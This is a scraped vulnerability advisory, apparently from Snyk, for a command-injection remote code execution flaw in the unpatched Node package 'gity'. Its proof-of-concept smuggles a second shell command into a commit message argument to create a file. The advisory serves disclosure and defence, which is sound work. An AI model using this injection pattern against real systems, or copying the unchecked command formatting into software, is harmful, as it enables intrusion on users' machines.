Remote Code Execution (RCE) Affecting gity package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-GITY-1012730
  • published25 Sept 2020
  • disclosed24 Sept 2020
  • creditmik317

Introduced: 24 Sep 2020

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for gity.

Overview

gity is a Git wrapper for Node.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var Git = require('gity');

var git = Git() .add('*.js') .commit('-m "added js files";touch HACKED;#') .run();

  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i gity # Install affected module
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created

CVSS Scores

version 3.1